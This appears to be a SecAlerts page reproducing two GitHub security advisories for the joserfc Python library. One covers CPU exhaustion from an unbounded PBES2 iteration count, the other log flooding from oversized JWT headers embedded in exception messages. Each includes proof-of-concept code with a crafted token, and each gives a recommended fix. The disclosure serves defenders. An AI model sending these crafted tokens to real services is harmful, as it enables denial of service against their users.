Where
-Infinity
0

Vendor Risk Score

See how hsiaoming compares to other vendors in security performance

View Risk Score →
Severity
7.5
EPSS
0.08%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.

This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.

Details Vulnerable file: src/joserfc/rfc7518/jwealgs.py Vulnerable function: PBES2HSAlgKeyEncryption.decryptcek() Lines: 283

python def decryptcek(self, recipient: Recipient[OctKey]) -> bytes: headers = recipient.headers() # ... p2c = headers["p2c"] # ← attacker-controlled integer # ... kek = self.computederivedkey(key.getopkey("deriveKey"), p2s, p2c) The p2c value is then passed to computederivedkey :

python def computederivedkey(self, key: bytes, p2s: bytes, p2c: int) -> bytes: # ... kdf = PBKDF2HMAC( algorithm=self.hashalg, length=self.keysize // 8, salt=salt, iterations=p2c, # ← unbounded iterations backend=defaultbackend(), )

Impact on JWT Policies Any JWT policy configured to allow PBES2 key management algorithms (e.g., PBES2-HS256+A128KW) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., exp,iss, aud checks) or nested signature verification takes place. This makes existing JWT "policies" ineffective as a defense if the underlying algorithm is permitted.

PoC

Tested against joserfc 1.6.2. Local Reproduction:

python import time from joserfc import jwe from joserfc.jwk import OctKey

Force joserfc to use local source if needed sys.path.insert(0, "src")

Attacker-crafted token with 10 million iterations Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS. token = "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy"

key = OctKey.importkey(b"any-password")

t0 = time.perfcounter() try: # This call will hang the thread for seconds jwe.decryptcompact(token, key, algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"]) except Exception: pass print(f"Elapsed: {time.perfcounter() - t0:.2f}s")

Impact An unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the p2c value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.

Recommendation Minimal fix: Implement an upper bound check for the p2c parameter in PBES2HSAlgKeyEncryption.decryptcek().

python MAXP2C = 300000 # Example security bound

... inside decryptcek ... p2c = headers["p2c"] if not isinstance(p2c, int) or p2c > MAXP2C: raise DecodeError(f"p2c iteration count too high (max {MAXP2C})") Additionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict algorithms allowlist in their JWT/JWE policies.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.

Details In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se.

It is therefore the responsibility of the underlying web server (uvicorn/h11, gunicorn, Starlette, Werkzeug, nginx...etc) to enforce limits on header sizes. For example, a FastAPI/Starlette application running without uvicorn and/or gunicorn cannot enforce header size limits on its own. With uvicorn/h11, the --h11-max-incomplete-event-size <int> option can restrict the total size of the header plus body, but not the header alone. Similarly, vLLM serve —due to its reliance on uvicorn/h11 and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header plus body and is frequently increased. In practice, a robust reverse proxy (such as nginx) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy.

Given these constraints, the joserfc library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing.

PoC Environment Ubuntu 24.04 LTS Python 3.12 Tested on joserfc version 1.4.1

python

import logging from datetime import UTC, datetime, timedelta

from joserfc import jwt from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError from joserfc.jwk import OctKey

logger = logging.getLogger(name)

SECRETKEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e" LONGJWTTOKEN = ( "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ" "." "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ" "." "6-k2jmkGXD6wXOgYgjPS8E5lSGjWpgIuY54gokjAn8" )

HEADER = { "alg": ( "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" ), } CLAIMS = { "iss": "authserver", "iat": datetime.now(UTC), "exp": datetime.now(UTC) + timedelta(minutes=15), }

def main(): # Create OctKey from SECRETKEY key = OctKey.importkey(SECRETKEY)

# Simulate creating a very large JWT # (this will fail with joserfc.errors.UnsupportedAlgorithmError # due to an invalid 'alg' header content try: token = jwt.encode(HEADER, CLAIMS, key) except UnsupportedAlgorithmError: # Use a forged token that has the same header and claims instead # but an invalid signature token = LONGJWTTOKEN logger.warning(f"Created JWT: {token}")

# Now try to decode the large JWT try: decodedtoken = jwt.decode(token, key) logger.warning("This line will never be reached.") logger.warning(decodedtoken.claims) except ExceededSizeError: logger.exception( "The JWT size is too large and may be a security attack attempt." ) # this is logging the whole header content in the exception message!

Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lSGjWpgIuY54gokjAn8 The JWT size is too large and may be a security attack attempt. Traceback (most recent call last): File "securityissue.py", line 55, in main claims = jwt.decode(token, key) ^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode header, payload = decodejws(value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 127, in decodejws jwsobj = deserializecompact(value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jws.py", line 183, in deserializecompact obj = extractcompact(tobytes(value), payload, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/rfc7797/compact.py", line 50, in extractrfc7515compact registry.validateheadersize(headersegment) File ".venv/lib/python3.12/site-packages/joserfc/rfc7515/registry.py", line 104, in validateheadersize raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxheaderlength} bytes.") joserfc.errors.ExceededSizeError: exceededsize: Header size of 'b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ'' exceeds 512 bytes.

Code location This behavior occurs in:

joserfc/rfc7515/registry.py L102-112 python def validateheadersize(self, header: bytes) -> None: if header and len(header) > self.maxheaderlength: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxheaderlength} bytes.")

def validatepayloadsize(self, payload: bytes) -> None: if payload and len(payload) > self.maxpayloadlength: raise ExceededSizeError(f"Payload size of '{payload!r}' exceeds {self.maxpayloadlength} bytes.")

def validatesignaturesize(self, signature: bytes) -> None: if len(signature) > self.maxsignaturelength: raise ExceededSizeError(f"Signature of '{signature!r}' exceeds {self.maxsignaturelength} bytes.") joserfc/rfc7516/registry.py L103-123 python def validateprotectedheadersize(self, header: bytes) -> None: if header and len(header) > self.maxprotectedheaderlength: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxprotectedheaderlength} bytes.")

def validateencryptedkeysize(self, ek: bytes) -> None: if ek and len(ek) > self.maxencryptedkeylength: raise ExceededSizeError(f"Encrypted key size of '{ek!r}' exceeds {self.maxencryptedkeylength} bytes.")

def validateinitializationvectorsize(self, iv: bytes) -> None: if iv and len(iv) > self.maxinitializationvectorlength: raise ExceededSizeError( f"Initialization vector size of '{iv!r}' exceeds {self.maxinitializationvectorlength} bytes." )

def validateciphertextsize(self, ciphertext: bytes) -> None: if ciphertext and len(ciphertext) > self.maxciphertextlength: raise ExceededSizeError(f"Ciphertext size of '{ciphertext!r}' exceeds {self.maxciphertextlength} bytes.")

def validateauthtagsize(self, tag: bytes) -> None: if tag and len(tag) > self.maxauthtaglength: raise ExceededSizeError(f"Auth tag size of '{tag!r}' exceeds {self.maxauthtaglength} bytes.") Another occurrence of ExceededSizeError in joserfc/rfc7518/jwezips.py is not affected by this issue as it does not include the payload content in the exception message.

Impact In scenarios where a web application does not reject excessively large HTTP header payloads, using joserfc can expose the system to an Allocation of Resources Without Limits or Throttling (CWE-770), potentially impacting disk, memory, and CPU on the application host, as well as any external log storage, ingestion pipelines or alerting services. This risk can be mitigated by removing the JWT payload from the logged content in some joserfc.errors.ExceededSizeError() exception message occurrences. It would also be beneficial for the documentation to advise deploying the library behind a robust web server or reverse proxy that correctly enforces maximum request header sizes.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203